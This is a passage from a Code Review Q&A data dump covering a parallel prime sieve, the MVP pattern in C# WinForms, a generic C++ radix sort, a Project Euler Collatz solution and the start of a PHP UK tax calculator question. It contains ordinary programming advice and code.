"CreationDate": "2014-04-13T21:21:52.450",
"Id": "82483",
"Score": "1",
"body": "`(begin-1)/prime + 1` would remove a branch. And you're missing a multiply by `prime`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:23:42.850",
"Id": "82484",
"Score": "0",
"body": "@BenVoigt: Can you expand on that. I am sure you are correct but cant quite place it in the code."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:24:10.663",
"Id": "82485",
"Score": "1",
"body": "`Integer first = std::max((begin-1)/prime + 1, prime)*prime;`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:29:08.567",
"Id": "82487",
"Score": "0",
"body": "I presume that in your original code, you meant for `first = begin/prime*prime` ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:36:05.520",
"Id": "82492",
"Score": "0",
"body": "@BenVoigt: Yes. But integer rounding means that was not enough. Hence the extra conditional. I assume your code works. But have not thought it through."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:02:45.057",
"Id": "82500",
"Score": "0",
"body": "@LokiAstari In your code, I suppose that `n` would be `is_prime.size()`?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T22:19:21.513",
"Id": "82837",
"Score": "0",
"body": "@BenVoigt Your code works except for `begin == 0`. It needs either a branch or a saturated subtraction to work."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T22:23:18.047",
"Id": "82838",
"Score": "0",
"body": "@morwenn: Ok, since you aren't in danger of overflow, (begin+prime-1)/prime. But I thought 0 wasn't a valid concern, since the smallest prime is 2."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T22:42:03.393",
"Id": "82841",
"Score": "0",
"body": "@BenVoigt You're right, it works without the special case for `0` if `first` is initialized with `3u` instead of `0u` as it is currently the case :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T23:15:36.253",
"Id": "82850",
"Score": "0",
"body": "@morwenn: even if not, the call to std::max should give the right result"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T23:26:06.870",
"Id": "82853",
"Score": "0",
"body": "@BenVoigt With unsigned integers, `-1/prime+1` is generally bigger than `prime`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T00:00:47.020",
"Id": "82855",
"Score": "0",
"body": "True, I didn't notice they were unsigned"
}
],
"meta_data": {
"CommentCount": "12",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:18:30.313",
"Id": "47094",
"ParentId": "47067",
"Score": "7"
}
},
{
"body": "<p>Equally-sized sequential subsets of primes don't evenly divide the task. The smallest numbers lead to a lot more multiples.</p>\n\n<p>Test-before-set might significantly reduce cache contention. Even better, don't start at <code>prime*2u</code>, start at <code>prime*prime</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:51:44.730",
"Id": "82498",
"Score": "0",
"body": "The first remark is really valuable. While it now seems obvious, it didn't strike me at all when I wrote the code."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:18:59.783",
"Id": "47095",
"ParentId": "47067",
"Score": "11"
}
},
{
"body": "<p>It has already been mentioned in <a href=\"https://codereview.stackexchange.com/a/47017/15094\">an answer</a> to the previous question, but there are really <em>many</em> places where the code does useless iterations on multiples of 2. Actually, these useless operations can be removed almost everywhere:</p>\n\n<ul>\n<li>In the sequential version of the sieve, <code>strike_out_multiples(2u, is_prime);</code> can be removed since the multiples of 2 are not even considered by the algorithm in the last part of the function where the actual prime numbers are added to the vector. Therefore, we don't need <code>strike_out_multiples</code> as a separate function anymore since it's only used once.</li>\n<li>Similarly, <code>first</code> can be declared as <code>std::size_t first = 1u</code> in the parallel version of the algorithm: <code>0u</code> corresponds to the index of the vector where the prime number <code>2u</code> is stored.</li>\n<li>There are loops that begin with <code>2u*prime</code> at several places in the code. It has been proposed in <a href=\"https://codereview.stackexchange.com/a/47095/15094\">another answer</a> that these loops should begin at <code>prime*prime</code> instead, which is always odd since we ignore <code>2u</code>. Consequently, the increment of these loops can be changed to <code>n += 2u*prime</code> (instead of <code>n += prime</code>) to ignore the even values.</li>\n<li>The initialization of <code>is_prime</code> in the parallel version of the sieve can begin at the index <code>3u</code> (the previous ones can be ignored) and have an increment of <code>2u</code> to skip the even values.</li>\n</ul>\n\n<p>This highlights the fact that the vector <code>is_prime</code> contains twice as many values as it could contain: the values below <code>3u</code> and all the even values are not used. There ought to be a way to avoid uselessly storing that many values.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T12:21:14.737",
"Id": "47139",
"ParentId": "47067",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47094",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:22:32.190",
"Id": "47067",
"Score": "12",
"Tags": [
"c++",
"multithreading",
"c++11",
"primes",
"sieve-of-eratosthenes"
],
"Title": "Parallel sieve of Eratosthenes, version 2"
} | 47067 |
<p>I'm a beginner to Model-View-Presenter pattern and I'm finding a way to use it in a sample application</p>
<p>In my C# winforms application has a <code>Employee Class</code> and it has properties like <code>EmployeeID</code>,<code>Name</code>, <code>Address</code>, <code>Designation</code> etc. Also it has behaviors like <code>viewEmployee()</code>, <code>AddNewEmployee()</code>, <code>PromoteEmployee()</code> etc.</p>
<ol>
<li><p>Could you please suggest how these things are organized in MVP pattern?</p></li>
<li><p>I have several entity classes in my project like <code>Employee</code>, <code>Client</code>, <code>Attendance</code>, <code>Salary</code> etc. So should I make separate <code>DataService</code> and <code>Presenter</code> classes for each one?</p></li>
</ol>
<p>My current understanding is like this...</p>
<pre><code>Implementing ViewEmployee()----------
Class Employee
{
public string EmployeeID { get; set; }
public string Name { get; set; }
public string Address { get; set; }
public string Designation { get; set; }
}
Class EmployeePresenter
{
public void ViewEmployee(string employeeID, frmEmployeeDetails _form)
{
Employee Emp= EmloyeeDataService.GetEmployeeData(employeeID);
_form.txtName=Emp.Name;
_form.txtAddress=Emp.Address;
_form.txtDesignation=Emp.Designation;
}
}
Class EmployeeDataService
{
public static Employee GetEmployeeData(String employeeID)
{
//Get data from database
// Set Properties of Employee
//Return Employee
}
}
Partial Class frmEmployeeDetails : Form
{
btnViewEmployee_Click() //Button Event
{
EmployeePresenter.ViewEmployee(txtEmployeeID.text,this);
}
}
</code></pre>
| [] | [
{
"body": "<blockquote>\n<p>I think your question would be better if you fleshed it up with your actual working code, there's a lot of "placeholder" code in your post, which makes it border the line of off-topicness.</p>\n<p>You may be able to find more information and high-level design guidance about MVP on <a href=\"https://softwareengineering.stackexchange.com/\">Programmers.SE</a>.</p>\n</blockquote>\n<hr />\n<p>There isn't a lot to review here, but this is jumping at me:</p>\n<pre><code>public static Employee GetEmployeeData(String employeeID)\n</code></pre>\n<p>And then:</p>\n<pre><code>Employee Emp = EmloyeeDataService.GetEmployeeData(employeeID);\n</code></pre>\n<p>By doing that, you have <em>tightly coupled</em> the <code>EmployeePresenter</code> class to the <code>EmployeeDataService</code> class. The <code>static</code> method makes the <code>ViewEmployee</code> method harder to unit test - now whatever you do, if you call <code>ViewEmployee</code> you're going to call <code>EmloyeeDataService.GetEmployeeData</code>.</p>\n<p>If you <em>code to an abstraction</em> instead of an implementation:</p>\n<pre><code>public interface IEmployeeRepository\n{\n Employee GetById(string employeeId);\n}\n\npublic class EmployeeDataService : IEmployeeRepository\n{\n public Employee GetById(string employeeId)\n {\n // do whatever it takes to return an Employee object.\n }\n}\n</code></pre>\n<p>Here you're accessing an SQL database with ADO.NET, but then later you might want to implement the same interface with Linq-to-SQL, or with Entity Framework - actually, the data could just as well be in XML files on the file system, or on Azure (cloud), or retrieved with some web service - all you need to care is the object's <em>interface</em>, which takes an <code>employeeId</code> and returns an <code>Employee</code>. Exactly <em>how</em> that's done, is irrelevant to the <code>Presenter</code>:</p>\n<pre><code>class EmployeePresenter\n{\n private readonly IEmployeeRepository _service;\n\n public EmployeePresenter(IEmployeeRepository service)\n {\n _service = service;\n }\n}\n</code></pre>\n<p>Now whoever is instantiating an <code>EmployeePresenter</code> will also need to instantiate some implementation of <code>IEmployeeRepository</code>, and <em>inject</em> that implementation into the presenter's constructor; you're no longer strongly coupled with a specific implementation, and you can change that anytime, without rewriting anything in the <code>EmployeePresenter</code> code.</p>\n<hr />\n<p>This is more about SOLID and DI/IoC than MVP. I suggest you look at <a href=\"http://martinfowler.com/eaaDev/uiArchs.html\" rel=\"nofollow noreferrer\">this read from Martin Fowler about GUI architectures</a>, there's a section on MVP.</p>\n<p>However I can tell you that this isn't MVP:</p>\n<pre><code>partial class frmEmployeeDetails : Form\n{\n btnViewEmployee_Click() //Button Event\n {\n EmployeePresenter.ViewEmployee(txtEmployeeID.text,this);\n }\n}\n</code></pre>\n<p>The <code>Form</code> shouldn't know anything about a presenter, or any repository or service - it's just a <em>view</em>. Instead, you fire events that the presenter can listen to, and respond. Shortly put, the Hollywood Principle: <em>don't call them, they'll call you</em>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-07-22T08:19:57.603",
"Id": "253964",
"Score": "0",
"body": "Could you explain what do you mean by *view shouldn't know anything about a presenter, or any repository or service - it's just a view*? In your code `frmEmployeeDetails` does know about concrete implementation of presenter, `EmployeePresenter`. I dont think it violates any MVP or neat design principles."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T03:34:52.677",
"Id": "47119",
"ParentId": "47068",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47119",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:42:44.133",
"Id": "47068",
"Score": "5",
"Tags": [
"c#",
".net",
"ado.net",
"mvp"
],
"Title": "Using model view presenter (MVP) in C# code"
} | 47068 |
<p>This started out with my <a href="https://stackoverflow.com/a/23040622/2644390">answer</a> to <a href="https://stackoverflow.com/q/23038622/2644390">Radix Sort on an Array of Strings?</a>. Since I intend to write a generic radix sort for my own purposes anyway, I continued a little bit, and here is a version tested on:</p>
<ol>
<li><p>a fixed <code>std::array</code> of <code>unsigned</code> numbers, each treated as a fixed sequence of bytes from least-significant (right) to most-significant (left), to be sorted by natural order; and</p></li>
<li><p>an <code>std::vector</code> of <code>std::string</code>s, each treated as a variable-length sequence of characters from left to right, to be sorted by lexicographical order.</p></li>
</ol>
<p>I will eventually make this more and more generic, but I am posting it here before it becomes extremely abstract. For now, it is not even parametrized with respect to ascending/descending order, but most interesting generalizations will be towards</p>
<ul>
<li>all scalar types: signed integers, floating-point, <code>enum</code>s, pointers, etc.;</li>
<li>sequences (built-in arrays or standard containers) of previous types to be sorted lexicographically;</li>
<li>tuples or structures of previous types to be sorted lexicographically;</li>
<li>recursive application of the above.</li>
</ul>
<p>Here it is (<a href="http://coliru.stacked-crooked.com/a/92d8bb688948b02d" rel="nofollow noreferrer">live example</a>):</p>
<pre><code>#include <type_traits>
#include <vector>
#include <array>
#include <string>
#include <algorithm>
#include <numeric>
#include <iostream>
template<bool B>
using expr = std::integral_constant<bool, B>;
//-----------------------------------------------------------------------------
template <typename View, bool Var, bool Flip, size_t Radix>
class radix_sort
{
template <typename I, typename S>
void sort(I& idx, const S& slice) const
{
using A = std::array<size_t, (Var ? Radix + 1 : Radix)>;
A count = {};
I prev = idx;
for (auto i : prev)
++count[slice(i)];
A offset = {{0}};
std::partial_sum(count.begin(), count.end() - 1, offset.begin() + 1);
for (auto i : prev)
idx[offset[slice(i)]++] = i;
}
public:
template <typename D>
std::vector<size_t> operator()(const D& data) const
{
std::vector<size_t> idx(data.size());
std::iota(idx.begin(), idx.end(), 0);
if (data.size() < 2)
return idx;
View view;
using R = decltype(data[0]);
size_t width = Var ?
view.size(*std::max_element(data.begin(), data.end(),
[view](R a, R b) { return view.size(a) < view.size(b); }
)) :
view.size(data[0]);
for (size_t d = 0; d < width; ++d)
{
size_t digit = Flip ? width - d - 1 : d;
sort(idx, [&view, &data, digit] (size_t i) {
return size_t(view.at(expr<Var>(), data[i], digit));
});
}
return idx;
}
};
//-----------------------------------------------------------------------------
struct int_view
{
template<typename A>
size_t size(const A& a) const { return sizeof(a); }
template <bool B, typename E>
unsigned char at(expr<B>, const E& elem, size_t pos) const
{
return (elem >> pos) & 0xFF;
}
};
//-----------------------------------------------------------------------------
struct array_view
{
template<typename A>
size_t size(const A& a) const { return a.size(); }
template <typename E>
typename E::value_type
at(std::false_type, const E& elem, size_t pos) const
{
return elem[pos];
}
template <typename E>
typename E::value_type
at(std::true_type, const E& elem, size_t pos) const
{
using T = typename E::value_type;
return pos < elem.size() ? elem[pos] + T(1) : T(0);
}
};
//-----------------------------------------------------------------------------
std::array<unsigned, 100>
numbers()
{
return {{
162, 794, 311, 528, 165, 601, 262, 654, 689, 748,
450, 83, 228, 913, 152, 825, 538, 996, 78, 442,
106, 961, 4, 774, 817, 868, 84, 399, 259, 800,
431, 910, 181, 263, 145, 136, 869, 579, 549, 144,
853, 622, 350, 513, 401, 75, 239, 123, 183, 239,
417, 49, 902, 944, 490, 489, 337, 900, 369, 111,
780, 389, 241, 403, 96, 131, 942, 956, 575, 59,
234, 353, 821, 15, 43, 168, 649, 731, 647, 450,
547, 296, 744, 188, 686, 183, 368, 625, 780, 81,
929, 775, 486, 435, 446, 306, 508, 510, 817, 794
}};
}
std::vector<std::string>
strings()
{
return {
"subdivides",
"main street",
"pants",
"impaled decolonizing",
"argillaceous",
"axial satisfactoriness",
"temperamental",
"hypersensitiveness",
"bears",
"hairbreadths",
"creams surges",
"unlaboured",
"hoosier",
"buggiest",
"mauritanians",
"emanators",
"acclaiming",
"zouaves dishpan",
"traipse",
"solarisms",
"remunerativeness",
"solubilizing",
"chiseled",
"jugular",
"ooziness",
"toastier",
"baud",
"suffixed",
"powerless tiding",
"disassimilated",
"gasps",
"flirtier",
"uh"
};
}
//-----------------------------------------------------------------------------
template<typename G, typename S>
void test(G generate, S sort)
{
auto data = generate();
auto idx = sort(data);
std::cout << "sorted data:" << std::endl;
for (auto i : idx)
std::cout << data[i] << std::endl;
std::cout << std::endl;
}
int main()
{
test(numbers, radix_sort<int_view, false, false, 256>());
test(strings, radix_sort<array_view, true, true, 128>());
}
</code></pre>
<p>I would appreciate the following:</p>
<ol>
<li>General comments on both algorithm and style.</li>
<li>Any more specific comments on correctness and efficiency.</li>
<li>Is the code self-evident, so that no comments are practically needed? For instance, is it evident what "views" and "slices" are?</li>
<li>I think I'll find my way with signed integral and remaining types, but is there a clean, standard, portable way of obtaining integral representations of mantissa + exponent of floating-point numbers, or should one resort to type casts and bitwise operations according to IEEE standard representations?</li>
</ol>
<hr>
<p><strong>EDIT</strong> Please note I made a slight simplification in <code>radix_sort::sort()</code> compared to my original post.</p>
| [] | [
{
"body": "<h1>Style</h1>\n\n<p>You should reorder your headers in alphabetic order. It will help when you will have to check whether a header is already included or not:</p>\n\n<pre><code>#include <algorithm>\n#include <array>\n#include <iostream>\n#include <numeric>\n#include <string>\n#include <type_traits>\n#include <vector>\n</code></pre>\n\n<p>You have many type names that are a single capital letter, which quite hinder readability. For example, you could change <code>A</code> into <code>Arr</code>. For many of them, I can't guess which \"concept\" should satisfy template parameter types. Apart from <code>T</code> and <code>U</code> for any type or <code>N</code> for any integral value, it is pretty uncommon to use a single capital letter.</p>\n\n<p>You should also be consistent when naming your types: do you want them to be capitalized or not? If you want to be consistent, you could for example rename <code>expr</code> into <code>Expr</code>.</p>\n\n<p>Generally speaking, the style is quite good: the indentation is clear, the lines are not too long and you don't seem to have any magic number besides <code>0xFF</code>. I wish I could always read code that clean.</p>\n\n<h1>Idiomacity</h1>\n\n<p>In <code>radix_sort::sort</code>, you use member functions <code>begin</code> and <code>end</code>. It is now considered good style to write <code>std::begin</code> and <code>std::end</code> wherever possible so that you won't get into trouble if the code is changed. Moreover, in C++14, you will have <code>std::cbegin</code> and <code>std::cend</code> that rely on member <code>begin</code> and <code>end</code>. That means that pre-C++11 containers that do not provide member <code>cbegin</code> and <code>cend</code> can also be used.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:50:32.577",
"Id": "82570",
"Score": "1",
"body": "Thanks! About capital letters: in general I use lowercase for both types and objects; and uppercase only for template parameters and single-letter private type aliases. Some template parameters are small words (like `View`, Radix`) but others are single-letter when context helps (e.g. `A = std::array`, `S& slice`, or `G generate`). I guess single-letter is what I should be more careful about. For instance, `R = decltype(data[0])` is apparently a (`const`) reference to some type to me, but maybe not to others. In which case `ref` might be better, right?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:53:11.490",
"Id": "82571",
"Score": "0",
"body": "@iavr Definetely, I had no idea what `R` was for actually. It's good that your public interface is clean, but it's even better if other people can understand and maintain your code :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:48:53.050",
"Id": "47099",
"ParentId": "47069",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:49:27.257",
"Id": "47069",
"Score": "12",
"Tags": [
"c++",
"algorithm",
"sorting",
"generics",
"floating-point"
],
"Title": "Generic radix sort"
} | 47069 |
<p>I've brute forced solve <a href="http://projecteuler.net/problem=14" rel="nofollow">Project Euler 14</a>. This is my first attempt at trying to solve it, by caching already solved answers, and skipping them as I run it, I am finding the program take's almost twice as long as the simple brute force method of checking each number.</p>
<p>It works, but I could also use some insight on how to stop calculating, once I run into an integer we have already solved, and how to better write the entire problem into a class.</p>
<pre><code>/*Project Euler 14.
The following iterative sequence is defined for the set of positive integers
n → n/2 (n is even)
n → 3n + 1 (n is odd)
Using the rule above and starting with 13, we generate the following sequence:
13 → 40 → 20 → 10 → 5 → 16 → 8 → 4 → 2 → 1
It can be seen that this sequence (starting at 13 and finishing at 1) contains 10 terms. Although it has not been proved yet (Collatz Problem), it is thought that all starting numbers finish at 1.
Which starting number, under one million, produces the longest chain?
NOTE: Once the chain starts the terms are allowed to go above one million
*/
#include <iostream>
#include <vector>
//I use this class to mark if a number has been solved.
class Collatz{
public:
bool solved = false;
unsigned terms = 0;
};
int main (){
const unsigned maxnum = 1000000;
std::vector<Collatz>cz(maxnum);
unsigned larger = 0; //will be used to find largest sequence.
unsigned largest = 0;
//This loop checks to see if the num has been solved yet.
//If not it solves its sequence, and marks all numbers in the sequence.
for(unsigned a = 2; a < maxnum; a++){
if(cz[a].solved == false){
std::vector<unsigned long long>cache;
cache.push_back(a);
for(unsigned long long n = a; n != 1;){
if(n % 2 == 0)
n = n/2;
else
n = 3*n+1;
cache.push_back(n);
}
//caching all already sovlved numbers
for(unsigned c = 0; c < cache.size(); c++){
if(cache[c] <= maxnum){
cz[cache[c]].solved = true;
cz[cache[c]].terms = cache.size() - c;
}
}
}
//Storing largest term.
if(larger < cz[a].terms){
larger = cz[a].terms;
largest = a;
}
}
std::cout << largest << std::endl;
}
</code></pre>
| [] | [
{
"body": "<p>Try adding the following:</p>\n\n<pre><code>#include <limits>\n#include <sstream>\n#include <stdexcept>\n\nint main() {\n constexpr unsigned max_odd = (std::numeric_limits<unsigned>::max() - 1) / 3;\n\n …\n for … {\n if … {\n …\n for … {\n if(n % 2 == 0) {\n n = n/2;\n } else if (n > max_odd) {\n std::stringstream ss;\n ss << n;\n throw std::out_of_range(ss.str());\n } else {\n n = 3*n+1;\n }\n …\n</code></pre>\n\n<p>… and I think you'll find your problem.</p>\n\n<p><code>unsigned</code> is actually severely undersized: <a href=\"http://www.cplusplus.com/reference/climits/\" rel=\"nofollow\">it is only guaranteed to hold values up to 65535</a>.</p>\n\n<p>Incidentally, that is an illustration of why you should always include braces with your if- and else-clauses. Having braces on only the <code>else if</code> clause that I just added would be weird and gross. On the other hand, I shouldn't have to retrofit the existing <code>if</code> and <code>else</code> with braces just to add my <code>else if</code> — that would create uglier diffs in version control.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T18:43:20.753",
"Id": "82441",
"Score": "0",
"body": "Wouldn't the program give the wrong answer if that was the case?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T19:08:35.600",
"Id": "82443",
"Score": "0",
"body": "It might give a wrong answer, or it might end up in an infinite loop (seemingly disproving the Collatz conjecture)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T19:38:15.920",
"Id": "82445",
"Score": "0",
"body": "I am getting the correct answer though, so I don't think that is the case."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T17:31:06.223",
"Id": "47075",
"ParentId": "47071",
"Score": "1"
}
},
{
"body": "<p>An obvious improvement is to check <code>n</code> for being already solved on each iteration of <code>for n</code> loop. As coded, you still go all the way to 1, which might be quite long. Something along the lines of</p>\n\n<pre><code>for ( a = 2; a < maxnum; ++a) {\n std::vector<unsigned long long>cache;\n for (n = a; n != 1 && !cz[n].solved; ) {\n cache.push_back(n);\n n = (n%2 == 0)? n/2: 3*n+1;\n }\n // make cached data solved\n ...\n}\n</code></pre>\n\n<p>If <code>cz[1].solved</code> is preset to <code>true</code>, the loop condition can be simplified to</p>\n\n<pre><code>for (n = a; !cz[n].solved; )\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:21:46.320",
"Id": "82482",
"Score": "0",
"body": "I have to make sure I add the terms, to get the correct terms."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:04:56.320",
"Id": "47092",
"ParentId": "47071",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47092",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T16:33:35.827",
"Id": "47071",
"Score": "4",
"Tags": [
"c++",
"c++11",
"programming-challenge"
],
"Title": "Project Euler 14: Longest Collatz Sequence"
} | 47071 |
<p>I'm very much on the beginner end of the PHP scale but I have read plenty of the entry level books and completed the online training at teamtreehouse.com so I know the basics.</p>
<p>I'm at a point where I've built a tax calculator in PHP (UK income tax) and it works and is accurate but I have no clue if the code follows best practice. Most likely, it doesn't!</p>
<p>I need help to see how I go from a beginner programmer to an intermediate. I want to make sure I'm on the right track before I start using a database for this project and converting it to an API.</p>
<p>My main class is below. I learn by doing and then having people smarter than me tell me the areas I suck in so I can improve. Hopefully you folks will be able to give me some pointers on areas to focus on.</p>
<p>I'm really trying to follow OOP practices and I know I have a lot to learn in that respect. Feel free to let me have it with both barrels.</p>
<pre><code><?php
require_once('tax_codes.php');
require_once('national_insurance.php');
class TaxCalculation {
public $persona;
public $taxRates;
public $taxBand;
public $taxFreeAllowance;
public $personalAllowance;
public $totalTaxableAmount;
/*
* Sets the default values we need when the class is instantiated.
* @param array $persona User submitted inputs
* @param array $income_tax_rates Raw data for all tax years
*/
public function __construct($persona) {
include('data/income_tax_rates.php');
include('data/national_insurance_rates.php');
include('data/student_loan_rates.php');
include('data/childcare_voucher_rates.php');
$this->persona = $persona;
$this->taxRates = $income_tax_rates;
$this->niRates = $national_insurance_rates;
$this->taxYear = $this->persona["tax_year_is"];
$this->taxBand = $this->taxRates[$this->taxYear]["rates"];
$this->taxFreeAllowance = $this->taxRates[$this->taxYear]["allowances"];
$this->studentRates = $student_loan_rates[$this->taxYear];
$this->childCareVoucher = $annual_childcare_voucher_rates;
}
/*
* Takes two numbers and determines which is the lower figure.
* @param integer $a,$b Used to compare integers in other functions
* @return integer The lowest value of the two checked
*/
public function get_lower_figure($a, $b) {
if ($a <= $b) {
return $a;
} else {
return $b;
}
}
/*
* Gets the personal allowance figure based on the users age.
* @return integer The personal allowance for chosen tax year, by age
*/
public function get_personal_allowance() {
if ($this->persona["age_is"] === "65_74") {
$allowance = $this->taxFreeAllowance["personal_for_people_aged_65_74"];
return $allowance;
} elseif ($this->persona["age_is"] === "over_75") {
$allowance = $this->taxFreeAllowance["personal_for_people_aged_75_and_over"];
return $allowance;
} else {
$allowance = $this->taxFreeAllowance["personal"];
return $allowance;
}
}
/*
* Find and set the income allowance limit
* @return integer The income limit for chosen tax year, by age
*/
public function get_income_allowance_limit() {
if ($this->persona["age_is"] === "65_74" || $this->persona["age_is"] === "over_75") {
$allowanceLimit = $this->taxFreeAllowance["income_limit_for_age_related"];
return $allowanceLimit;
} else {
$allowanceLimit = $this->taxFreeAllowance["income_limit_for_personal"];
return $allowanceLimit;
}
}
/*
* Calculate the tax free amount that user is entitled to
* @return integer The tax free allowance for chosen tax year
*/
public function get_tax_free_allowance() {
$personalAllowance = $this->get_personal_allowance();
$incomeAllowanceLimit = $this->get_income_allowance_limit();
if ($this->persona["gross_annual_income"] > $incomeAllowanceLimit) {
$deductFromAllowance = ($this->persona["gross_annual_income"] - $incomeAllowanceLimit) / 2;
$personalAllowance = $personalAllowance - $deductFromAllowance;
if ($this->persona["age_is"] === "65_74" || $this->persona["age_is"] === "over_75" ) {
if ($personalAllowance <= $this->taxFreeAllowance["personal"]) {
$personalAllowance = $this->taxFreeAllowance["personal"];
$incomeAllowanceLimit = $this->taxFreeAllowance["income_limit_for_personal"];
if ($this->persona["gross_annual_income"] > $incomeAllowanceLimit) {
$deductFromAllowance = ($this->persona["gross_annual_income"] - $incomeAllowanceLimit) / 2;
$personalAllowance = $personalAllowance - $deductFromAllowance;
}
}
}
}
if (is_numeric($this->persona["other_allowance_is"])) {
$personalAllowance += $this->persona["other_allowance_is"];
}
if ($personalAllowance < 0) {
$personalAllowance = 0;
}
return $personalAllowance;
}
/*
* Set gross income to a float
* @return integer Gross annual income
*/
public function set_gross_income() {
$this->grossIncome = floatval($this->persona["gross_annual_income"]);
return $this->grossIncome;
}
/*
* Finds the blind allowance for the chosen tax year
* @return integer Blind persons allowance
*/
public function get_blind_persons_allowance() {
$blind_persons_allowance = $this->taxFreeAllowance["blind_persons"];
return $blind_persons_allowance;
}
/*
* Determines whether user is eligible for married couples allowance
* @return integer Married couples allowance (10% of the allowance)
*/
public function get_married_couples_allowance() {
$marriedAllowance = ($this->taxFreeAllowance["married_couples_over_75"] / 100) * 10;
return $marriedAllowance;
}
/*
* Determines the personal allowance based on entered tax code
* Replaces tax free allowance with calculated amount if the code isn't K
* Adds the calculated amount to the total taxable amount if it is K
* @return integer Personal allowance by tax code
*/
public function get_tax_code_personal_allowance() {
$taxCodeCalculator = new TaxCodeCalculator($this->persona["tax_code_is"]);
$this->taxCodePersonalAllowance = $taxCodeCalculator->get_personal_allowance_from_code();
$this->taxCodeLetter = $taxCodeCalculator->taxCodeLetter;
if (is_numeric($this->taxCodePersonalAllowance) && $this->taxCodeLetter === "K") {
$this->totalTaxableAmount = $this->showGrossIncome + $this->taxCodePersonalAllowance;
$this->showTaxFreeAllowance = 0;
} elseif (is_numeric($this->taxCodePersonalAllowance) && $this->taxCodeLetter !== "K") {
$this->showTaxFreeAllowance = $this->taxCodePersonalAllowance;
$this->totalTaxableAmount = $this->showGrossIncome - $this->showTaxFreeAllowance;
}
}
/*
* Checks if the tax code is one of the special codes to work out
* Compares the total taxable amount against the tax bands for chosen year
* and works out the value of tax for each banding
* @return integer Personal allowance by tax code
*/
public function calculate_tax_bands() {
unset($this->taxBand["savings"]);
if (isset($this->persona["tax_code_is"])) {
$output = array();
switch($this->persona["tax_code_is"]) {
case 'BR':
// Basic Rate percentage
$this->showTaxFreeAllowance = 0;
$this->totalTaxableAmount = $this->showGrossIncome;
$bandPercentage = $this->taxBand["basic"]["rate"];
$percentageAmount = ($this->totalTaxableAmount / 100) * $bandPercentage;
$output["basic"] = round($percentageAmount);
$output["higher"] = 0;
$output["additional"] = 0;
return $output;
case 'D0':
// Higher Band percentage
$this->showTaxFreeAllowance = 0;
$this->totalTaxableAmount = $this->showGrossIncome;
$bandPercentage = $this->taxBand["higher"]["rate"];
$percentageAmount = ($this->totalTaxableAmount / 100) * $bandPercentage;
$output["basic"] = 0;
$output["higher"] = round($percentageAmount);
$output["additional"] = 0;
return $output;
case 'D1':
// Additional Band percentage
$this->showTaxFreeAllowance = 0;
$this->totalTaxableAmount = $this->showGrossIncome;
$bandPercentage = $this->taxBand["additional"]["rate"];
$percentageAmount = ($this->totalTaxableAmount / 100) * $bandPercentage;
$output["basic"] = 0;
$output["higher"] = 0;
$output["additional"] = round($percentageAmount);
$this->showTaxFreeAllowance = 0;
return $output;
case 'NT':
// No Tax
return 0;
}
}
$values = array();
foreach ($this->taxBand as $key => $band) {
if ($band["end"] !== null || $band["end"] > 0) {
$band["amount"] = $this->get_lower_figure($this->totalTaxableAmount, $band["end"]) - $band["start"];
} else {
$band["amount"] = $this->totalTaxableAmount - $band["start"];
}
$band["percentage_amount"] = ($band["amount"] / 100) * $band["rate"];
$totalDeduction = $band["percentage_amount"];
if ($totalDeduction < 0) {
$totalDeduction = 0;
}
$values[$key] = $totalDeduction;
}
return $values;
}
/*
* Takes total weekly income less deductions and works out the national
* insurance contributions for the primary and upper bandings.
* @return integer Annual national insurance contributions
*/
public function get_national_insurance_contribution() {
$nationalInsuranceCalculator = new nationalInsuranceCalculator(
($this->persona["gross_annual_income"] - $this->showChildCareVouchers) / 52, $this->taxYear, $this->niRates);
